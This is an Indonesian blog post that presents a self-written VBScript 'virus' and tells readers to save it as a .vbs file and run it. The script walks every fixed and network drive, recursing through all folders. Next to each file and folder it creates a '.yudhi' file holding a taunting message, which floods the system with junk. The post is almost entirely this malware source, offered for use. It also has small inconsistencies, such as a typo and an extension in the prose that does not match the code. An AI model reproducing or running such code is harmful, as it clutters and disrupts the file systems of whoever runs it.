Script Virus Sederhana

Berikut adalah contoh script virus sederhana buatanku sendiri. efeknya tidak berbahaya bagi komputer, hanya saja bikin sebel.. hehe.. ^___^
virus ini hanya menduplikasi file2 dan folder2 yang ada di setiap drive kemudian menamai file2 dan folder2 tersebut dengan ekstensi *.X RPL 1
virus ini dibuat dengan bahasa pemrograman visual basic script.

berikut script virus tersebut..
================================================
rem – “shinobi303 virus" – By shinobi303
rem – dibuat : 7 Maret 2011
On Error Resume Next
dim A,B,C
set A=CreateObject(“Scripting.FileSystemObject”)
B=”Hallo! jangan khawatir…aku tidak berbahaya… tp sedikit mengganggu.. – by shinobi303″
B=replace(B,chr(42),chr(68))
B=replace(B,chr(124),chr(46))
C=replace(B,chr(37),chr(76))
n Error Resume Next
dim D,E
set E=A.Drives
for each D in E
if (D.DriveType=2)or(D.DriveType=3) then
indexFolders(D.Path&”\”)
end If
next
sub indexFolders(location)
On Error Resume Next
dim F,file,G,duplicate
set F=A.GetFolder(location)
set G=F.SubFolders
for each file in G
set duplicate = A.CreateTextFile(file.Path&”.yudhi”, 2, True)
duplicate.write C
duplicate.Close
writeData(file.Path)
indexFolders(file.Path)
next
end sub
sub writeData(location)
On Error Resume Next
dim folder,directory,file,duplicate
set folder=A.GetFolder(location)
set directory=folder.Files
for each file in directory
set duplicate = A.CreateTextFile(file.Path&”.yudhi”, 2, True)
duplicate.write C
duplicate.Close
next
end sub
================================================

simpan dengan ekstensi *.vbs, Kemudian jalankan..

Penulis : Unknown ~ Sebuah blog yang menyediakan berbagai macam informasi

Artikel Script Virus Sederhana ini dipublish oleh Unknown pada hari Dinsdag 12 Maart 2013. Semoga artikel ini dapat bermanfaat.Terimakasih atas kunjungan Anda silahkan tinggalkan komentar.sudah ada 1opmerkings: di postingan Script Virus Sederhana